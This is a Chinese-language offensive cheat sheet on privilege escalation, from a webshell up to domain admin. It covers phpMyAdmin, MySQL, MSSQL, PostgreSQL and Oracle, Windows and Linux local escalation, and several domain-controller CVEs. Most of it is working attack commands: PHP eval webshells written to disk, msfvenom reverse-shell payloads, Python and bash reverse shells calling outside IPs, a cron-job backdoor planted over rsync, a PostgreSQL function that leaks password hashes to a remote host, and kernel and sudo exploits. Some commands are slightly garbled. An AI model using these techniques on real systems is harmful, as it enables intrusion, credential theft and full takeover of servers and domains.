# webshell 提权
# phpmyadmin 突破
phpadmin 通过后台写 sql 拿 webshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # 显示当前目录 show variables like '%datadir%';或 select @@basedir; # 查看数据库当前操作用户拥有写权限 show global variables like '%secure_file_priv%'; # 写入后门 select '<?php @eval($_POST['x']);?>' INTO OUTFILE '/var/lib/mysql/a.php' # 开启慢日志记录 set global slow_query_log=1; # 设置日志存储目录 set global slow_query_log_file='/var/lib/www/blog.1.php'; # 写入木马记录在日志 select '<?php eval($_GET[A])?>' or SLEEP(1);
secure_file_priv 参数:NULL 不允许导入或导出、/tmp 只允许在 /tmp 目录导入导出、空则不限制目录
root 高权限读文件:UNION SELECT 1,load_file (‘d:/w.txt’),3
root 高权限写文件:UNION SELECT 1,‘xxxx’,3 into outfile 'd:/www.txt’
# win web 提权
操作系统版本、漏洞补丁、系统位数、杀软防护、网络情况、当前权限等 信息。如 ver、systeminfo、whoami、netstat -ano、tasklist /svc 等。
如果提权中无法执行命令,需要通过 web 权限上传 cmd.exej 进行执行,基 于补丁和系统版本位数来进行筛选可用溢出漏洞 EXP、手工操作、基于 CS 的 半自动化提权、基于 MSF 的全自动化提权。
https://github.com/vulmon/Vulmap (不建议)
https://github.com/bitsadmin/wesng (systeminfo> 1.txt, 之后用 wesng 去解析, 效果一般)
https://github.com/chroblert/WindowsVulnScan (.\KBCollect.ps1 生成 KB.json 再去解析)
https://i.hacking8.com/tiquan (将 systeminfo 的信息输入到此页面查找漏洞)
https://github.com/Ascotbe/KernelHub
https://github.com/nomi-sec/PoC-in-GitHub
https://github.com/k8gege/Ladon
工具提权不一定能成功,因为受作者测试环境与真实环境的不同,脚本难以完全一致,通常会选取 msf/cs 的自动化提权,毕竟经过了时间的考究。
# MSF 全自动提权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 # 生成反弹后门 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=3333 -f exe -o msf.exe msfvenom - a x86 --platform windows - p windows/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=4444 - b "\x00" - i 10 - f exe - o ~/Desktop/t.exe # 配置监听会话 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 0.0.0.0 set lport 4444 exploit # 筛选EXP模块 background use post/windows/gather/enum_patches(半自动:根据漏洞编号找出系统中安装的补丁) use post/multi/recon/local_exploit_suggester(全自动:快速识别系统中可能被利用的漏洞) set session 1 set showdescription true # 特别注意如果没有显示出来漏洞利用脚本,需要更新msf即使用msfupdate命令 # 利用EXP溢出提权,注意需要重新监听会话并指定端口 background use exploit/windows/local/ms16_075_reflection_juicy set localhot. set local port set session 1 exploit
# cs 半自动化提权
1 2 3 4 5 # 服务器启动服务端 chmod +x teamserver & ./teamserver IP password # 客户端连接服务端 运行cobaltstrike.bat(运行不起来请检测JDK版本)
# 数据库提权
# mysql 提权
用系统漏洞提权要比数据库漏洞提权更容易得到权限。
一般采用 UDF 提权和启动项的方式,都需要拿到此时的数据库的 root 权限, 并且两者都是需要往特殊目录下写入文件,并且需要 - secure-file-priv 没进行目 录限制,如果做了目录限制是无法提权到系统权限的
1 2 3 4 5 6 7 # mysql<5.2 导出目录 c:/windows或system32; # mysql=>5.2 导出安装目录/lib/plugin/ # select version()查看当前的数据库版本 # select @@basedir查看当前的目录 GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;允许所有账户的外连
使用 MSF 中的 exploit/multi/mysql/mysql_udf_payload 模块可以进行 UDF 提 权,MSF 会将 dll 文件写入 lib\plugin\ 目录下 (如果没有 /lib/plugin/ 这个目录,需要 手动创建这个文件夹), 该 dll 文件中包含 sys_exec () 和 sys_eval () 两个函数,但是 默认只创建 sys_exec () 函数,该函数执行并不会有回显。我们可以手动创建 sys_eval () 函数,来执行有回显的命令。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # MSF:(前提先开外连) use exploit/multi/mysql/mysql_udf_payload set payload windows/meterpreter/reverse_tcp set password root set rhosts 47.102.195.100 run # 当msf将dll文件写入/lib/plugin下,可使用Navicat调用系统命令 # 查看 select * from mysql.func where name = "sys_exec"; # 创建函数绑定dll create function sys_eval returns string soname "WqkerHcA.dll"; # 调用函数进行命令执行 select sys_eval("whoami");
写一些启动项到 windows 上,windows 启动后会启动这类 bat 或者 exe,可以在 bat 中加 calc pause 进行测试。
1 2 3 4 5 6 # MSF:(前提先开外连) use exploit/windows/mysql/mysql_start_up set rhosts 47.102.195.100 set username root set password root run
原理同 udf 提权,再 plugin 下写入 dll 文件,用 sys_exec 调用 dll 执行系统命令,从而反弹 shell,需要提前监听 shell 端口(如果 linux 的话就是 so 文件)。
1 2 3 4 5 6 7 8 # https://blog.csdn.net/weixin_43801718/article/details/105493042 use mysql; set @a=concat('', create table Ghost(data LONGBLOB); insert into Ghost values("");update Ghost set data = @a; select data from Ghost into DUMPFILE 'C:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll'; create function backshell returns string soname 'udf.dll'; select backshell('47.94.236.117',7788)
MOF-Win2008 后权限控制导致无效(不好用)
https://www.cnblogs.com/xishaonian/p/6384535.html
1 2 # MSF: use exploit/windows/mysql/mysql_mof
# mssql 提权
MSSQL 提权(windows 安装的,在 linux 上没有)
xp_cmdshell 默认在 mssql2000 中是开启的,在 mssql2005 之后的版本中则默认禁止。如果用户拥有管理员 sa 权限则可以用 sp_configure 重新开启它。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # 启用 EXEC sp_configure 'show advanced options', 1 RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; # 关闭 exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 0; reconfigure; # 执行 EXEC master.dbo.xp_cmdshell '命令' 如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复 exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\MicrosoftSQL Server\MSSQL\Binn\xplog70.dll'
主要是用来调用 OLE 对象,利用 OLE 对象的 run 方法执行系统命令。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # 启用 EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE; # 关闭 EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 0; RECONFIGURE WITH OVERRIDE; # 执行 declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'
1 2 3 4 5 6 7 8 9 10 11 12 13 # 不开启的话在执行xp_regwrite会提示让我们开启: exec sp_configure 'show advanced options',1;reconfigure; exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure; # 关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码: exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0; # 查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句: exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode' # 执行系统命令 select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")') select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')
沙盒模式 SandBoxMode 参数含义(默认是 2 )
0
:在任何所有者中禁止启用安全模式
1
:为仅在允许范围内
2
:必须在 access 模式下
3
:完全开启
openrowset 是可以通过 OLE DB 访问 SQL Server 数据库,OLE DB 是应用 程序链接到 SQL Server 的的驱动程序。恢复配置如下:
–exec master…xp_regwrite ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Jet\4.0\Engines’,‘SandBoxMo de’,‘REG_DWORD’,1;
–exec sp_configure ‘Ad Hoc Distributed Queries’,0;reconfigure; --exec sp_configure ‘show advanced options’,0;reconfigure;
# oracle 提权
工具地址:https://github.com/jas502n/oracleshell
前提是拥有一个普通的 oracle 连接账号,不需要 DBA 权限,可提权至 DBA,并以 oracle 实例运行的权限执行操作系统命令。
拥有 DBA 账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。
拥有一个 oracle 注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显。
# postgresql 提权
PostgreSQL 是一款关系型数据库。其 3 到 10 版本中存在一个逻辑错误,导致超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作。
1 2 3 4 5 6 7 8 9 10 # CVE-2018-1058 普通用户植入后门命令 CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$ select dblink_connect((select 'hostaddr=10.0.0.1 port=5433 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres'))); SELECT pg_catalog.array_to_string($1,$2); $ $ LANGUAGE SQL VOLATILE; # 管理员操作数据库触发 docker-compose exec postgres pg_dump -U postgres -f evil.bak vulhub
1 2 3 4 5 6 # CVE-2019-9193 # 在连接到的后门一般是哥斯拉中利用数据库操作中执行以下命令,其中id 表示需要执行的系统命令 DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;
# 三方应用提权
通过 cs 的插件,如果此时已经通过 webshell 运行了 cs 木马,可以通过下 列插件来获取明文凭据,收集更多的内网信息,但是这不一定能收集成功,毕 竟有防火墙需要规避
远控类:Teamviewer 向日葵 Todesk VNC Radmin 等
密码类:各大浏览器 Xshell Navicat 3389 等
# win 提权
# at sc 提权
at 命令是一个计划命令,可以在规定时间完成一些操作,这个命令调用 system 权限。适用版本:Win2000 & Win2003 & XP 中还是存在的,在 Win7 以 后被剔除。当我们拿到低权限的用户,通过连接上服务器后,可以通过 at 命令 来进行本地提权。
at 21:00 /interactive cmd (在 20:33 分生成一个交互式的 System 权限的 cmd)
sc 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类 似于控制面板中管理工具项中的服务。
1 2 3 4 5 # 创建一个名叫 syscmd 的新的交互式的 cmd 执行服务 sc Create syscmd binPath= "cmd /K start" type= own type=interact # 运行服务 sc start syscmd
# psexec 提权
适用版本:Win2012 and Win2008 & Win2016 基本可以
https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
psexec.exe -accepteula -s -i -d cmd
# 进程迁移注入
1 2 3 4 # 相当于开了一个后门,注入到其他用户进程下 pinjector -l pinjector -p 420 cmd 3333 nc 192.168.46.149 3333
Win2008 2012 2016 MSF 进程注入
1 2 3 4 5 # 查看进程 ps # 迁移对应PID migrate PID
# 窃取令牌
假冒令牌可以假冒一个网络中的另一个用户进行各类操作。当一个攻击者 需要域管理员的操作权限时候,需通过假冒域管理员的令牌进行攻击。适用 win2012。
1 2 3 4 5 6 # 令牌窃取 msfvenom -p windows/meterpreter/reverse_tcp LHOST=47.94.236.117 LPORT=3333 -f exe -o msf.exe use incognito list_tokens -u impersonate_token "NT AUTHORITY\SYSTEM"
# 烂土豆提权
适用 Win2008 2012 2016。
1 2 3 4 execute -cH -f ./potato.exe //配合烂土豆 use incognito list_tokens -u impersonate_token "NT AUTHORITY\SYSTEM"
# Win msf 自动化提权
1 2 3 4 5 # 查看当前权限 getuid # 提权 getsystem
# bypassUAC 提权
为了远程执行目标的 exe 或者 bat 可执行文件绕过此安全机制,以此叫 BypassUAC,开启 UAC 和未开启 UAC 时,MSF 默认 getsystem 提权影响 (进程注 入)。适用 win10。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.46.158 lport=3333 -f exe -o msf.exe
1 2 3 4 5 6 7 # Win7本地权限 use exploit/windows/local/bypassua # Win10本地权限 use exploit/windows/local/ask use exploit/windows/local/bypassuac_sluihijack use exploit/windows/local/bypassuac_silentcleanup
通过此程序调用 exe 文件,调用时用的 SYSTEM 权限,则此时反弹得到的 shell 是可以提权到 STSTEM 权限的。
项目地址:https://github.com/hfiref0x/UACME
1 2 # Akagi64.exe 编号 调用执行 Akagi64.exe 41 msf1.exe
# Dll 劫持提权
Windows 程序启动的时候需要 DLL。如果这些 DLL 不存在,则可以通过 在应用程序要查找的位置放置恶意 DLL 来提权。通常,Windows 应用程序有其 预定义好的搜索 DLL 的路径,它会根据下面的顺序进行搜索:应用程序加载的 目录、C:\Windows\System32、C:\Windows\System、C:\Windows、当前工作目录 Current Working Directory,CWD、在 PATH 环境变量的目录 (先系统后用户)。适用 win2012。
利用火绒剑进行进程分析加载 DLL,一般寻程序 DLL 利用,制作 dll 并上 传,替换 dll,启动应用后成功。还可以用 ChkDllHijack 来检测与某程序相关联 的 DLL 文件,提前信息收集相关软件及 DLL 问题程序,本地调试成功后覆盖 DLL 实现利用。
msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=4444 -f dll -o xiaodi.dll
# 服务路径及权限
利用 JAWS 或者命令检测服务路径,需要服务没有双引号并且服务中出现 了空格,那么就可以看作是前边的路径是程序后边的路径是参数,上传 exe 木 马到此路径下,并用命令行启动服务上传反弹 exe,设置好对应执行名后,执行 sc start “Macro Expert”,木马上线。适用 win2012。
JAWS 下载地址:https://github.com/411Hall/JAWS
1 2 # 检测命令 wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v
不安全的服务权限配合 MSF-NewServices
即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。 有的目录是不允许被修改的。
利用 accesschk 或 PowerUp (PowerSploit) 检测服务权限配置,制作文件并上 传,创建新服务并更改服务路径指向,启动服务时木马被执行。
1 2 3 4 5 6 7 8 # PowerSploit 下载地址: https://github.com/PowerShellMafia/PowerSploit # accesschk 下载地址: https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk accesschk.exe -uwcqv "administrators" * Import-Module .\PowerUp.ps1 && Invoke-All Checks sc config "test" binpath="C:\Program.exe" sc start test
# linux 提权
# 辅助项目提权
https://github.com/liamg/traitor
https://github.com/AlessandroZ/BeRoot
https://github.com/rebootuser/LinEnum
https://github.com/mzet-/linux-exploit-suggester
https://github.com/sleventyeleven/linuxprivchecker
https://github.com/jondonas/linux-exploit-suggester- 2
Linux:https://gtfobins.github.io/
Windows:https://lolbas-project.github.io/
一个综合类探针 traitor,一个自动化提权 BeRoot (gtfobins&lolbas),两个信息收集 LinEnum linuxprivchecker,两个漏洞探针 linux-exploit-suggester&2
# suid 提权
chmod u+s 给予普通用户可以借助 root 权限执行某些命令,chmod u-s 可以删除 suid。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # 手工命令探针安全 find / -user root -perm - 4000 - print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm - 4000 - exec ls -ldb {} \; # 脚本项目探针安全 LinEnum.sh traitor linuxprivchecker # 利用NC反弹 find xiaodi -exec netcat -lvp 5555 -e /bin/sh \; netcat xx.xx.xx.xx 5555 # 从 4444 端口获取到命令,bash 运行后将命令执行结果返回 5555 端口,攻击者主机上也是打开两个终端分别执行监听。 nc x.x.x.x 4444 | /bin/bash | nc x.x.x.x 5555 # 利用Python反弹 find xiaodi -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.co nnect(("47.94.236.117",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \; nc -lvp 7777
# 脏牛提权
搜寻 exp 直接提权。连接服务器,获取可利用漏洞,下载或上传 EXP,编译 EXP,给权限执行。
探针项目:BeRoot linux-exploit-suggester linux-exploit-suggester2
如 gcc 45010.c -o exp && sh exp
linux 脏牛 dcow
1 2 3 4 5 6 # 内核提权整个过程:(linux-exploit-suggester获取信息) # 通过msf拿到web权限,上传脏牛漏洞利用脚本exp upload /root/dcow.cpp /tmp/dcow.cpp g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil python -c 'import pty; pty.spawn("/bin/bash")' ./dcow && su root
# 脏管道提权
Linux-DirtyPipe 提权 (CVE-2022-0847)
1 2 3 4 wget https://haxx.in/files/dirtypipez.c gcc -o dirtypipez dirtypipez.c # 任何具体suid权限的文件均可 ./dirtypipez /usr/bin/su
# 环境变量配合 suid
1 2 3 4 5 6 # 探针 find / -user root -perm -4000 -print 2>/dev/null gcc demo.c -o shell && chmod u+s shell # root用户可执行文件进行编译,保证文件的正常授权运行,给予 ROOT权限执行,普通用户通过对文件反编译或源代码查看,覆盖其执行环境变量,直接让其执行指定程序获取权限 cp /bin/bash /tmp/ps && export PATH=/tmp:$PATH && ./shell
# 定时任务配合 tar
利用计划任务的备份功能 tar 命令的参数利用,在计划任务中定时执行 test.sh 命令,执行之后会生成 bash 的 s 文件,可利用此进行提权;也可以利用直接将 反弹 shell 的代码写入 test.sh ,只需监听端口,定时任务触发后就会接收到反弹 shell。
echo "" > "--checkpoint-action=exec=sh test.sh";echo "" > --checkpoint=1;echo'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > test.sh;chmod +x test.sh
# 权限配置不当
利用不安全的权限分配操作导致的定时文件覆盖,导致某些文件可以被普
通用户修改,且此文件会定时执行。
所有者 / 组 / 其他:读取 4 写入 2 执行 1
755 表示所有者读取写入执行,组和其他用户只有读取和执行
644 表示所有者写入和执行,组和其他用户只有执行
444 r–r--r-- 600 rw------- 644 rw-r–r-- 666 rw-rw-rw-
700 rwx------ 744 rwxr–r-- 755 rwxr-xr-x 777 rwxrwxrwx
# linux mysql 提权
参考链接:https://www.vulnhub.com/entry/raven-2,269/
1 2 3 4 5 6 7 8 9 10 11 12 13 # 探针IP及端口 nmap 192.168.46.0/24 # 利用phpmailer漏洞进行修改并反弹 python D:/Myproject/40974.py # 写入后门利用菜刀连接方便操作 echo '<?php eval($_POST[x]);?>' >1.php # 上传信息收集脚本进行提权信息收集 ./LinEnum.sh # 翻阅数据库配置文件获取root密码
1 2 3 4 5 6 7 # 利用Mysql提权 searchsploit,下载mysql udf kali poc进行编译: wget https://www.exploit-db.com/download/1518 - O raptor_udf.c gcc -g -c raptor_udf.c gcc -g -shared -o raptor_udf.so 1518.so -lc # 上传或下载 1518 到目标服务器: wget https://xx.xx.xx.xx/1518.so
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # 进入数据库进行UDF导出: use mysql; create table foo(line blob); insert into foo values(load_file('/tmp/1518.so')); select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so'; # 创建do_system函数调用: create function do_system returns integer soname '1518.so'; select do_system('chmod u+s /usr/bin/find'); # 配合使用find调用执行: touch xiaodi find xiaodi –exec "whoami" \; find xiaodi –exec "/bin/sh" \; id
1 2 3 GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY'R@v3nSecurity' WITH GRANT OPTION; flush privileges; 允许 root 外连若还是无法连接,则可能是防火墙的阻止,可利用 webshell工具将端口穿透出来。
# mdut 数据库提权
MDUT 2.0 数据库利用工具:https://github.com/SafeGroceryStore/MDUT
java8 -jar Multiple.Database.Utilization.Tools-2.1.1-jar-with-dependencies.jar
综合漏洞利用 (包含各数据库) https://github.com/Liqunkit/LiqunKit_ LiqunKit
mssql 利用工具:https://github.com/uknowsec/SharpSQLTools SharpSQLTools
通过套接字重用通过受损的 Microsoft SQL Server 在受限环境中执行横向移动 https://github.com/blackarrowsec/mssqlproxy mssqlproxy
ODAT:Oracle 数据库攻击工具 https://github.com/quentinhardy/odat ODAT
# rsync 未授权
Rsync 是 linux 下一款数据备份工具,默认开启 873 端口,借助 Linux 默认计划任务调用 /etc/cron.hourly,利用 rsync 连接覆盖。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # 创建一个nc文件,内容如下: # !/bin/bash /bin/bash -i >& /dev/tcp/47.94.236.117/3333 0>&i # 赋予执行权限 chmod +x nc # 上传文件覆盖定时任务目录下: rsync -av nc rsync://47.94.236.117:873/src/etc/cron.hourly # 下载文件 rsync -av rsync://47.94.236.117:873/src/etc/passwd ./ # 进行nc 监听相应的端口 nc -lvnp 3333
# docker 组挂载
普通用户在 docker 组,利用 docker 服务启动镜像挂载目录,从而来访问 root 目录、etc 目录等敏感文件来进行权限提升。
1 2 3 4 5 6 7 8 # 创建用户归类目录,添加到docker组 useradd -d /home/test -m test passwd test usermod -G docker test newgrp docker # 从Docker上面下载alpine镜像,然后运行,-v将容器外部的目录/root挂载到容器内部/mnt,使用-it参数进入容器shell。 docker run -v /root:/mnt -it alpine
# sudo 提权
1 2 3 4 5 # sudo: 版本在1.8.2-1.8.31p2 或者 1.0-1.5p1 git clone https://github.com/blasty/CVE-2021-3156.git cd CVE-2021-3156 make && chmod a+x sudo-hax-me-a-sandwich ./sudo-hax-me-a-sandwich 1
# polkit 漏洞
漏洞影响 2009 年 5 月至今的所有 polkit 版本,由于 polkit 是系统预装工具,所有存在 polkit 的 linux 系统均受影响,只要存在 polkit 且没有打补丁就可以提权。
1 2 3 4 5 6 7 8 # 判断是否存在 dpkg -l policykit-1 rpm -q policykit-1 # 漏洞利用 git clone https://github.com/berdav/CVE-2021-4034.git cd CVE-2021-4034/ make && ./cve-2021-4034
# 域控提权
# CVE-2014-6324
参考链接:https://www.cnblogs.com/feizianquan/p/11760564.html
需要域用户账号密码 + 一台主机的管理员权限 + 域控没有打 MS14-068 的补丁 (KB3011780)
1 2 3 4 5 6 7 8 # Ms14-068.exe: https://github.com/abatchy17/WindowsExploits/tree/master/MS14- 068 # PSexec: https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe # mimikatz: https://github.com/gentilkiwi/mimikatz/releases
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 # a. 如果当前用户为域用户 # 得到域成员用户名和 sid 号 whoami /user # 指定要同步时钟的域,可以查看域名称 net time /domain # b. 如果当前用户是普通用户,利用管理员身份启动 mimikatz 利用下列命令获取域用户 sid 和域控主机名 # 权限提升 privilege::debug # 抓取密码 sekurlsa::logonPasswords # c. 利用 ms14-068.exe 工具生成伪造的 kerberos 协议认证证书 ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员 sid -d 域控制器 地址 ms14-068.exe -u mary@god.org -p admin!@#45 -s S-1-5-21-1218902331- 2157346161-1782232778-1124 -d OWA2010CN-God.god.org # d. 利用 mimikatz.exe 将证书写入,从而提升为域管理员 # 清除当前会话 kerberos::purge # 导入由 ms14-068.exe 生成的证书 名字 kerberos::ptc "TGT_test02@test.lab.ccache" # 查看与域控是否建立了联系 kerberos::list # e. 连接域控,获取域控的 shell # 测试连接是否成功 dir \\OWA2010CN-God.god.org\C$ # 使用 PsExec.exe 以管理员权限运行连接域控 psexec \\OWA2010CN-God.god.org cmd
# CVE-2020-1472
参考链接:https://cloud.tencent.com/developer/article/1837483
CVE-2020-1472 是继 MS17010 之后好用的 NetLogon 特权域控提权漏洞, 只要攻击者能访问到目标域控井且知道域控计算机名即可利用该漏洞。该漏洞不要求当前计算机在域内,也不要求当前计算机操作系统为 Windows.
下载 poc:https://github.com/SecuraBV/CVE-2020-1472
下载 exp:https://github.com/dirkjanm/CVE-2020-1472
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 # a. 获取目标计算机名,进行漏洞检测 # 获取目标计算机名 nbtscan -v -h 192.168.3.21 # 验证漏洞是否存在 python3 zerologon_tester.py OWA2010CN-GOD 192.168.3.21 # b. 重置DC密码,获取hash # 重置 DC 密码: python3 cve- 2020 - 1472 - exploit.py OWA2010CN-GOD 192.168.3.21 # 使用impacket包中的secretsdum.py来获取相关的HASH: python3 secretsdump.py god.org/OWA2010CN-GOD\$@192.168.3.21 -no-pass # c. 通过wmicexec.py使用hash 获取DC的shell # 获取HASH后,可以利用wmiexec.py登录,从而获取一个shell python wmiexec.py -hashes <HASH> DOMAIN/DOMAIN_USER@DC_ipaddr # wmi连接反弹 python3 wmiexec.py god/administrator@192.168.3.21 -hashes aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7
# CVE-2021-42287
参考地址:https://new.qq.com/rain/a/20211217a0brmf00
一个普通域成员帐户 + 域用户有创建机器用户的权限(一般默认权限)+ DC 未打补丁 KB5008380 或 KB5008602。
sam_the_admin.py: https://github.com/WazeHell/sam-the-admin
1 2 # 从域外环境已知域内一个普通用户密码直接拿DC shell或者域内所有hash python3 sam_the_admin.py god/'mary:admin!@#45' -dc-ip 192.168.3.21 -shell
# CVE-2022-26923
参考链接:https://www.freebuf.com/vuls/335471.html
一个域内普通账号 + 域内存在证书服务器
https://github.com/ly4k/Certipy
https://github.com/CravateRouge/bloodyAD
https://github.com/SecureAuthCorp/impacket
https://github.com/dirkjanm/PKINITtools
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 # a. 首先需要获取域控服务器,域证书服务器的一些基本信息 # 在受控的主机上执行powershell命令 Get-ChildItem Cert:\LocalMachine\Root\ # 得到域证书服务器地址fenghuotai-DC-CA, # 域控服务器地址fenghuotai.local,域控计算机名为dc # b. 设置攻击机的DNS服务器地址为域控DNS服务器地址 192.168.1.15 fenghuotai.local dc.fenghuotai.local fenghuotai-DC-CA # c. 使用掌握的域内普通用户账号申请证书并验证登录,测试复现环境是否异常 # 申请证书 可能会遇到NETBIOS超时现象,重新执行一次申请证书命令即可 certipy req 'fenghuotai.local/testcve:1qaz3edc.@dc.fenghuotai.local' -ca fenghuotai-DC-CA -template User # 验证该证书,获取其NT hash certipy auth -pfx testcve.pfx # d. 新建账号pwnmachine,配置DNShostname,并申请域控dc$的证书 # 新建一台名为pwnmachine,密码为CVEPassword1234*的机器账号: python bloodyAD.py -d fenghuotai.local -u testcve -p '1qaz3edc.' --host 192.168.220.160 addComputer pwnmachine 'CVEPassword1234*', # 设置其dNSHostName 属性为域控服务器属性: python bloodyAD.py -d fenghuotai.local -u testcve -p '1qaz3edc.' --host 192.168.220.160 setAttribute 'CN=pwnmachine,CN=Computers,DC=fenghuotai, DC=local' dNSHostName '["dc.fenghuotai.local"]' # 申请新建的机器账号pwnmachine$的证书,其实申请到的是域控dc$的证书: certipy req 'fenghuotai.local/pwnmachine$:CVEPassword1234*@192.168.220.160' -template Machine -dc-ip 192.168.220.160 -ca fenghuotai-DC-CA # 进行登录验证,获取其NT hash : certipy auth -pfx ./dc.pfx -dc-ip 192.168.220.160 # e. 获取域内所有账户hash ,通过hash 获取shell # 使用impacket工具examples目录下的secretsdump.py脚本: python3 secretsdump.py 'fenghuotai.local/dc$@dc.fenghuotai.local' -hashes :xxx # 通过hash 获取到域控的shell python3 wmiexec.py fenghuotai.local/administrator@192.168.1.15 -hashes aad3b435b51404eeaad3b435b51404ee:e6f01fc9f2a0dc96871220f7787164bd # 还可以使用PKINITtools工具,获取域控最高权限shell